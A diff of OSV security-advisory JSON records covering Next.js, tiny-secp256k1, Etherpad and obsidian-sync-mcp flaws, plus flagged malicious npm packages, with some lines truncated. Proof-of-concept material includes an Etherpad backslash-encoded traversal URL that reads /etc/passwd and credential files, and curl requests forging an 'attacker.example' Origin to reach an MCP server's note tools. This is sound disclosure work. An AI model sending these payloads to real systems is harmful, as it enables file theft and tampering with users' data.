{"schema_version":"1.9.2","id":"GHSA-f3mh-rxg3-f5g2","published":"2026-11-19T22:23:21Z","modified":"2026-11-19T22:45:06.180078081Z","aliases":["CVE-2026-119346"],"summary":"Next.js: HttpOnly cookie exposure through internal response header on Next.js Edge runtime routes","details":"Next.js applications that set cookies through `NextResponse` on Edge runtime routes — App Router route handlers and Pages Router Edge API routes — send an internal `x-middleware-set-cookie` header in the public response, duplicating the cookie value and its attributes. This makes HttpOnly cookies, such as session tokens, readable by JavaScript running on the same origin when an application sets a sensitive cookie on an affected response.","affected":[{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"15.0.0"},{"fixed":"15.5.29"}]}],"database_specific":{"last_known_affected_version_range":"<= 15.5.28","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-f3mh-rxg3-f5g2/GHSA-f3mh-rxg3-f5g2.json"}},{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"16.0.0"},{"fixed":"16.4.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 16.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-f3mh-rxg3-f5g2/GHSA-f3mh-rxg3-f5g2.json"}}],"references":[{"type":"WEB","url":"https://github.com/vercel/next.js/security/advisories/GHSA-f3mh-rxg3-f5g2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119346"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/809be725f033ec7aa4c658ba2b7a084cb039d1f2"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/9fc04bd869ded4900bed7d069832aa2c5f56fa29"},{"type":"PACKAGE","url":"https://github.com/vercel/next.js"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v15.5.29"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v16.4.5"},{"type":"WEB","url":"https://nextjs.org/blog/november-2026-security-release"}],"database_specific":{"cwe_ids":["CWE-200","CWE-201"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:23:21Z","nvd_published_at":"2026-11-16T19:17:26Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-hj9c-qx2w-g7mh","published":"2026-11-19T22:43:45Z","modified":"2026-11-19T23:00:36.643680439Z","aliases":["CVE-2026-107853"],"summary":"tiny-secp256k1: Stale buffer after ignored wasm failure accepts invalid infinity tweak","details":"### Summary\nThe three-argument `xOnlyPointAddTweakCheck` path ignores the wasm failure return and compares an unchanged input buffer. When the tweak result is the point at infinity, this stale-buffer comparison can return `true` for an invalid derivation.\n\n### Details\n`xOnlyPointAddTweakCheck` in `index.ts` has two code paths. The path taken when the caller omits `tweakParity` discards the return value of the wasm call and compares whatever the shared input buffer holds.\n\n```ts\ntry {\n X_ONLY_PUBLIC_KEY_INPUT.set(point);\n X_ONLY_PUBLIC_KEY_INPUT2.set(resultToCheck);\n TWEAK_INPUT.set(tweak);\n if (hasParity) {\n return wasm.xOnlyPointAddTweakCheck(tweakParity) === 1;\n } else {\n wasm.xOnlyPointAddTweak();\n const newKey = X_ONLY_PUBLIC_KEY_INPUT.slice(\n 0,\n validate.X_ONLY_PUBLIC_KEY_SIZE\n );\n return compare(newKey, resultToCheck) === 0;\n }\n```\n\n`x_only_point_add_tweak` in `lib.rs` returns `-1` and leaves `X_ONLY_PUBLIC_KEY_INPUT` untouched when the tweak addition fails.\n\n```rust\npub extern \"C\" fn x_only_point_add_tweak() -> i32 {\n unsafe {\n let mut xonly_pk = jstry!(x_only_pubkey_parse(X_ONLY_PUBLIC_KEY_INPUT.as_ptr()), 0);\n let mut pubkey = PublicKey::new();\n if secp256k1_xonly_pubkey_tweak_add(\n get_context(),\n &mut pubkey,\n &xonly_pk,\n TWEAK_INPUT.as_ptr(),\n ) != 1\n {\n // infinity point\n return -1;\n }\n```\n\nThe buffer still holds `point`, which the caller wrote immediately before the call. `newKey` therefore equals `point`, and the comparison against `resultToCheck` succeeds whenever the caller passes `resultToCheck` equal to `point`.\n\n`secp256k1_xonly_pubkey_tweak_add` in upstream `main_impl.h` returns 0 only when the internal key fails to load or the tweak helper fails.\n\n```c\nif (!secp256k1_xonly_pubkey_load(ctx, &pk, internal_pubkey)\n || !secp256k1_ec_pubkey_tweak_add_helper(&pk, tweak32)) {\n return 0;\n}\n```\n\nThe helper in `secp256k1.c` fails on scalar overflow or on an infinite result.\n\n```c\nstatic int secp256k1_ec_pubkey_tweak_add_helper(secp256k1_ge *p, const unsigned char *tweak32) {\n secp256k1_scalar term;\n int overflow = 0;\n secp256k1_scalar_set_b32(&term, tweak32, &overflow);\n return !overflow && secp256k1_eckey_pubkey_tweak_add(p, &term);\n}\n```\n\n`validateTweak` in `validate.ts` already rejects a tweak at or above the group order, so overflow is excluded and the only remaining cause is `lift_x(point) + tweak * G` reaching the point at infinity.\n\nThe parity path is correct for the same input. `secp256k1_xonly_pubkey_tweak_add_check` returns 0 in that case. The two documented forms of the same check disagree.\n\n`xOnlyPointAddTweak` also disagrees with the check, returning `null` for the exact inputs the check accepts.\n\nThe condition is untested. `schnorr.js` skips every `xOnlyPointAddTweakCheck` assertion for the infinity vectors present in its own fixtures.\n\n```js\nconst res = secp256k1.xOnlyPointAddTweak(f.pubkey, f.tweak);\nif (f.result === null) {\n t.same(res, f.result, `xOnlyPointAddTweak returns null when G pubkey and n - 1 tweak used`);\n continue;\n}\n```\n\n### PoC\nBoth witnesses are already present in the project fixtures at `schnorr.json` as the two vectors with a null result, and both pass every validator in `validate.ts`.\n\n```js\nimport * as secp256k1 from \"tiny-secp256k1\";\n\nconst hex = (s) => Uint8Array.from(Buffer.from(s, \"hex\"));\n\n// x coordinate of G, and the tweak n - 1\nconst point = hex(\"79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\");\nconst tweak = hex(\"fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364140\");\n\n// lift_x(point) + tweak * G is the point at infinity, no tweaked key exists\nconsole.log(secp256k1.xOnlyPointAddTweak(point, tweak));\n// null\n\nconsole.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point, 0));\n// false correct, the parity form uses the C check\n\nconsole.log(secp256k1.xOnlyPointAddTweakCheck(point, tweak, point));\n// true wrong, the three argument form compares point against itself\n```\n\nA second witness from the same fixture uses the x coordinate of `2 * G` with tweak `n - 2`.\n\n```js\nconst point2 = hex(\"c6047f9441ed7d6d3045406e95c07cd85c778e4b8cef3ca7abac09b95c709ee5\");\nconst tweak2 = hex(\"fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd036413f\");\nconsole.log(secp256k1.xOnlyPointAddTweakCheck(point2, tweak2, point2)); // true\n```\n\nBoth were executed against the published `secp256k1.wasm` from npm 2.2.4 under `wasmtime`, driving the exports througLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-mc8w-wjhw-45x5","published":"2026-11-20T00:23:45Z","modified":"2026-11-20T00:30:07.772051073Z","aliases":["CVE-2026-114516"],"summary":"Etherpad: Pre-auth arbitrary file read","details":"### Summary\n\nAn unauthenticated path‑traversal / arbitrary file read vulnerability in Etherpad's /static/* handler allows any remote, unauthenticated user to read any file on the server's filesystem (e.g. GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd returns /etc/passwd) available to the user running the etherpad software. Because the endpoint is mounted before the authentication middleware, no credentials, session, or configuration change are required. The read primitive could escalate to a full server compromise: on a typical deployment by disclosing settings.json / credentials.json / /proc/self/environ, which contain the admin password, giving an attacker an admin session and, through the admin plugin installer, remote code execution.\n\n### Details\n\nEtherpad serves plugin static assets through src/node/utils/Minify.ts. The request path is first passed through the canonical sanitizer src/node/utils/sanitizePathname.ts, which is careful to convert backslashes to forward slashes only on Windows:\n\n```\n// src/node/utils/sanitizePathname.ts:11-20\np = pathApi.normalize(p);\nif (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);\nif (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);\n// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\\\\' in the input\n// pathname would not be normalized away before being converted to '../'.\nif (pathApi.sep === '\\\\') p = p.replace(/\\\\/g, '/');\n```\n\nOn Linux a backslash is an ordinary filename byte, so an input segment like ..\\..\\..\\test contains no ./.. path components and passes every check in sanitizePathname unchanged. The project's own test suite confirms this: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\\\foo'] among the accepted paths (returned unchanged).\n\nThe vulnerability is that Minify.ts then performs that Windows‑only conversion unconditionally, after the sanitizer has run, justified by a comment asserting the opposite of the invariant above:\n\n```\n// src/node/utils/Minify.ts:171-186\nconst match = filename.match(/^plugins\\/([^/]+)(\\/(?:(static\\/.*)|.*))?$/);\nif (match) {\nconst library = match[1];\nconst libraryPath = match[2] || '';\nif (plugins.plugins[library] && match[3]) {\nconst plugin = plugins.plugins[library];\nconst pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src\nfilename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved\n// ... \"This conversion does not introduce a directory\n// traversal vulnerability because all '..\\\\' substrings have already been removed by\n// sanitizePathname.\" // <-- FALSE on POSIX\nfilename = filename.replace(/\\\\/g, '/'); // <-- reintroduces ../ AFTER the check\n}\n```\n\nAfter line 186 the string becomes a real traversal (<root>/src/static/../../../../etc/passwd) with no re‑normalization and no containment check\nbefore the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile). Because path.join at line 179 produced an absolute\npath, path.resolve(ROOT_DIR, filename) discards ROOT_DIR entirely, and POSIX path.resolve collapses surplus .. at /, so the payload is root‑depth‑agnostic.\n\nThe route is reachable pre‑authentication. It is registered on the expressPreSession hook:\n\n```\n// src/ep.json\n{ \"name\": \"static\", \"hooks\": { \"expressPreSession\": \"ep_etherpad-lite/node/hooks/express/static\" } }\n// src/node/hooks/express/static.ts:38\napp.all('/static/*filename', minify);\n```\n\nand expressPreSession runs before the auth middleware:\n\n```\n// src/node/hooks/express.ts:244-247\nawait hooks.aCallAll('expressPreSession', {app, settings}); // static route registered here\napp.use(exports.sessionMiddleware);\napp.use(webaccess.checkAccess); // auth runs AFTER\n```\n\nThe plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo‑plugin ep_etherpad-lite with package.realPath = <root>/src.\n\nTwo decode facts make the exploit functional: Express 5 / path‑to‑regexp v8 decode wildcard params per segment, once ((v) => v.split('/').map(decodeURIComponent)), so req.params.filename.join('/') (Minify.ts:147) yields the once‑decoded path fed to the sanitizer, and %5C (encoded backslash) is the only working separator (%2F decodes to /, is re‑split, and is rejected by the split('/')[0] === '..' guard).\n\n### PoC\n\nApplies to a default production deployment (no special configuration; works on Linux, e.g. the Docker image or a systemd source install). Replace TARGET:9001 with thLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-mx6p-3fg7-v6pj","published":"2026-11-19T20:41:18Z","modified":"2026-11-19T21:00:03.950970720Z","aliases":["CVE-2026-77283"],"summary":"obsidian-sync-mcp: Missing Host/Origin validation lets a public website drive a victim's Obsidian vault via DNS rebinding (no-auth mode)","details":"When obsidian-sync-mcp runs without MCP_AUTH_TOKEN (the documented no-auth mode for local use), the HTTP MCP endpoint does not validate the Host or Origin header before dispatching MCP methods (CWE-350). The no-auth mode's \"local network only\" assumption therefore does not hold: a malicious web page the operator visits can use DNS rebinding to resolve an attacker-controlled hostname to 127.0.0.1 (or the operator's LAN/VPN/Docker-published address) and issue requests the server accepts as trusted local calls, reaching the full tool surface (read_note, write_note, edit_note, delete_note, move_note, list_notes, list_folders, list_tags, get_note_metadata).\n\nAffected versions: <= 0.5.6\nPatched version: 0.5.7\n\n## Impact\n\nAny deployment running without MCP_AUTH_TOKEN — including the README \"Filesystem mode (simplest)\" quickstart and the self-hosted docker-compose setup (where MCP_AUTH_TOKEN defaults to empty)\" — is exposed to any website the operator visits while the server is running. That page's JavaScript can silently read the entire vault and create/overwrite/delete/move notes, with no credentials and no prompt. In CouchDB/Self-hosted LiveSync mode, the same code path applies, so vault content in CouchDB is equally reachable. Deployments that set MCP_AUTH_TOKEN are not affected — a bearer token is not attached by browsers, so a forged request returns HTTP 401.\n\n## Remediation\n\nUpgrade to 0.5.7, which validates both the Host and Origin headers in no-auth mode: any request whose Host is not localhost/127.0.0.1/::1 (or a value in the new MCP_ALLOWED_HOSTS), or that carries a cross-origin Origin not in that allowlist, is rejected before any MCP method runs. The Host check defeats DNS rebinding; the Origin check defeats the related bypass where a page directly fetches http://127.0.0.1:<port>/mcp (genuine loopback Host, attacker Origin) — the transport's wildcard CORS would otherwise expose the response. Non-browser MCP clients send no Origin, so they are unaffected. These checks block browser-delivered attacks only; a direct non-browser network client can still forge both headers, so on untrusted networks set MCP_AUTH_TOKEN.\n\nWorkaround (any version): set MCP_AUTH_TOKEN to require authentication — this closes the path immediately.\n\n## Technical detail\n\nIn no-auth mode serverOptions.authenticate was never installed, so FastMCP dispatched every request with no per-request check. Even with a token, only the Authorization header was inspected — nothing in the server, fastmcp, or mcp-proxy validated Host/Origin. Two browser-reachable variants follow: (1) classic DNS rebinding, where the browser sends the attacker's hostname in Host; and (2) a direct cross-origin fetch() to the loopback address, where Host is genuinely 127.0.0.1 but Origin is attacker-controlled and the transport's wildcard Access-Control-Allow-Origin: * exposes the response — no rebinding required. The 0.5.7 fix adds an application-layer Host+Origin check in authenticate that rejects such requests before dispatch; it is a compensating control and does not alter the wildcard CORS header itself (the rejection happens before any response body is produced).\n\n## Proof of concept (mitigated in 0.5.7)\n```\n# No-auth server (per the README quickstart)\nVAULT_PATH=/tmp/demo-vault HOST=127.0.0.1 PORT=8787 npx tsx src/main.ts\n\n# Forged Host/Origin (what a DNS-rebinding page's fetch() sends) reaches the tools with no credential:\ncurl -s -i http://127.0.0.1:8787/mcp \\\n -H \"Host: attacker.example\" -H \"Origin: http://attacker.example\" \\\n -H \"Content-Type: application/json\" -H \"Accept: application/json, text/event-stream\" \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}'\n# -> HTTP 200; a follow-up tools/call to write_note creates a file in the vault, no Authorization header.\n# The same sequence against a server with MCP_AUTH_TOKEN set returns HTTP 401.\n```\n\n```\n# Variant 2 — no rebinding needed: real loopback Host, attacker Origin.\n# In <= 0.5.6 this returns 200 and executes tools; in 0.5.7 it returns 403.\ncurl -s -i http://127.0.0.1:8787/mcp \\\n -H \"Host: 127.0.0.1:8787\" -H \"Origin: http://attacker.example\" \\\n -H \"Content-Type: application/json\" -H \"Accept: application/json, text/event-stream\" \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}'\n```","affected":[{"package":{"name":"obsidian-sync-mcp","Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-pc58-hwjq-p385","published":"2026-11-19T22:20:34Z","modified":"2026-11-19T22:45:06.189800429Z","aliases":["CVE-2026-119348"],"summary":"Next.js: Cross-client response injection and disclosure in self-hosted Next.js applications forwarding fetched responses","details":"Self-hosted Next.js applications (App Router route handlers and the fetch cache) that return a fetched upstream response unchanged can emit a response whose declared framing does not match the body actually sent. When such an application sits behind an HTTP/1.1 reverse proxy that permits pipelined response queueing, a crafted upstream response can desynchronize responses between clients, enabling response injection and disclosure of other clients' responses.","affected":[{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"16.0.0"},{"fixed":"16.4.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 16.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-pc58-hwjq-p385/GHSA-pc58-hwjq-p385.json"}},{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"15.5.29"}]}],"database_specific":{"last_known_affected_version_range":"<= 15.5.28","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-pc58-hwjq-p385/GHSA-pc58-hwjq-p385.json"}}],"references":[{"type":"WEB","url":"https://github.com/vercel/next.js/security/advisories/GHSA-pc58-hwjq-p385"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119348"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/2842833be3a5a1e5fef0c5fb8c96df74742eef2a"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/848ec29a3fbe68c02edb022efe19b04356997c32"},{"type":"PACKAGE","url":"https://github.com/vercel/next.js"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v15.5.29"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v16.4.5"},{"type":"WEB","url":"https://nextjs.org/blog/november-2026-security-release"}],"database_specific":{"cwe_ids":["CWE-444"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:20:34Z","nvd_published_at":"2026-11-16T19:17:26Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-rhh4-g77r-r9qj","published":"2026-11-19T22:20:11Z","modified":"2026-11-19T22:45:06.179610242Z","aliases":["CVE-2026-119349"],"summary":"Next.js: Cross-user cache disclosure and poisoning in Next.js use cache with binary arguments","details":"Next.js App Router applications that pass binary arguments (such as Uint8Array or Blob values) to functions using the `use cache` directive can produce identical cache keys for distinct arguments, allowing cached results to be shared across users — cross-user disclosure of cached data or cache poisoning. This affects applications using `use cache` with binary arguments.","affected":[{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"16.0.0"},{"fixed":"16.4.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 16.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-rhh4-g77r-r9qj/GHSA-rhh4-g77r-r9qj.json"}}],"references":[{"type":"WEB","url":"https://github.com/vercel/next.js/security/advisories/GHSA-rhh4-g77r-r9qj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119349"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/6596840a0fa3c2633735b05e41ca3d9ab01ece41"},{"type":"PACKAGE","url":"https://github.com/vercel/next.js"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v16.4.5"},{"type":"WEB","url":"https://nextjs.org/blog/november-2026-security-release"}],"database_specific":{"cwe_ids":["CWE-694"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:20:11Z","nvd_published_at":"2026-11-16T19:17:27Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-vvgp-ww4w-46vf","published":"2026-11-19T22:18:08Z","modified":"2026-11-19T22:45:06.174752352Z","aliases":["CVE-2026-119350"],"summary":"Next.js: Cache poisoning of shared fallback shells in Cache Components via request-supplied placeholder route params","details":"Self-hosted Next.js applications served with `next start` and built with `cacheComponents: true` but without Partial Prefetching accept a request-supplied route param value as a prerender placeholder. One unauthenticated GET request can poison the fallback shell cache entry that a family of routes shares.\n\nSuch a route is served from a shell that keeps its never-prerenderable params as placeholders, so every value of those params shares one cache entry. A path segment equal to the percent-encoded, bracketed name of its own route param is treated as an unresolved placeholder, and only that param is deferred. A layout above it then renders its concrete value into the shell during the blocking render, and the result, including its HTTP status, is stored under the shared key.\n\nDepending on the application, the stored entry is one of the following:\n\n- A persistent 404, when the layout rejects the value with `notFound()`: served to every URL under the shell key with `\"revalidate\": false`, across server restarts, with no error logged.\n- A substituted param value, when the layout renders the value: the server-rendered HTML renders the attacker's value for that param in place of the visitor's own. A JavaScript client corrects it on hydration. No markup or script injection is possible, and no data is disclosed.\n\n### Preconditions\n\n1. `cacheComponents: true` with `partialPrefetching` unset or `false`.\n2. Self-hosted serving with `next start`.\n3. A dynamic route with a prerenderable param (`generateStaticParams`) whose requested value was not generated at build time.\n4. At least two never-prerenderable params below it: a layout reading the shallower one inside a Suspense boundary, and a deeper one the request supplies as the placeholder.\n5. A blocking fallback shell.\n\n### Workarounds\n\nSet `partialPrefetching: true` in `next.config`. Otherwise, apps should upgrade to the patched version as soon as possible.","affected":[{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"16.4.0"},{"fixed":"16.4.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 16.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vvgp-ww4w-46vf/GHSA-vvgp-ww4w-46vf.json"}}],"references":[{"type":"WEB","url":"https://github.com/vercel/next.js/security/advisories/GHSA-vvgp-ww4w-46vf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119350"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/18eeffb5fabd91911852d44cf56948b3f2cbee04"},{"type":"PACKAGE","url":"https://github.com/vercel/next.js"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v16.4.5"},{"type":"WEB","url":"https://nextjs.org/blog/november-2026-security-release"}],"database_specific":{"cwe_ids":["CWE-349"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:18:08Z","nvd_published_at":"2026-11-16T19:17:27Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.7.3","id":"MAL-2025-151292","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abiba-avin-aumauna (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (54c5c3f1ab9b1399ea424a4395c97f4cb10ee2918045bb34cdb5b4050c587692)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abiba-avin-aumauna","ecosystem":"npm","purl":"pkg:npm/abiba-avin-aumauna"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avin-aumauna/MAL-2025-151292.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:09:48.343460909Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"54c5c3f1ab9b1399ea424a4395c97f4cb10ee2918045bb34cdb5b4050c587692","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
{"schema_version":"1.9.2","id":"MAL-2025-151292","published":"2025-11-12T16:47:05Z","modified":"2026-11-19T23:30:06.630726861Z","aliases":["GHSA-7h99-fgqf-hr3c"],"summary":"Malicious code in abiba-avin-aumauna (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (54c5c3f1ab9b1399ea424a4395c97f4cb10ee2918045bb34cdb5b4050c587692)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (8cbf3284ff88856e71196fe45ca0f569b1e9a70cbd8296cd2eeb425067a4d8d5)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abiba-avin-aumauna","ecosystem":"npm","purl":"pkg:npm/abiba-avin-aumauna"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avin-aumauna/MAL-2025-151292.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-7h99-fgqf-hr3c"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:09:48.343460909Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"54c5c3f1ab9b1399ea424a4395c97f4cb10ee2918045bb34cdb5b4050c587692","source":"amazon-inspector"},{"id":"GHSA-7h99-fgqf-hr3c","import_time":"2026-11-19T23:17:31.056094027Z","modified_time":"2026-11-19T23:05:50Z","sha256":"8cbf3284ff88856e71196fe45ca0f569b1e9a70cbd8296cd2eeb425067a4d8d5","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
@@ -1 +1 @@
|
||||
{"schema_version":"1.7.3","id":"MAL-2025-151392","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abina-amugmi-amm (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3f5f0c46f9886f2bb5d1f446801b932f1a5c1b9e0de8c3323a2d3110d73af162)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abina-amugmi-amm","ecosystem":"npm","purl":"pkg:npm/abina-amugmi-amm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abina-amugmi-amm/MAL-2025-151392.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:29:11.544738293Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"3f5f0c46f9886f2bb5d1f446801b932f1a5c1b9e0de8c3323a2d3110d73af162","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
|
||||
{"schema_version":"1.9.2","id":"MAL-2025-151392","published":"2025-11-12T16:47:05Z","modified":"2026-11-19T23:30:06.645873672Z","aliases":["GHSA-4gr2-c235-xq3h"],"summary":"Malicious code in abina-amugmi-amm (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3f5f0c46f9886f2bb5d1f446801b932f1a5c1b9e0de8c3323a2d3110d73af162)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (8c858968b4ca42b79b3678b73594151596dc5a3a5754e1f17909be2bef595d98)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abina-amugmi-amm","ecosystem":"npm","purl":"pkg:npm/abina-amugmi-amm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious 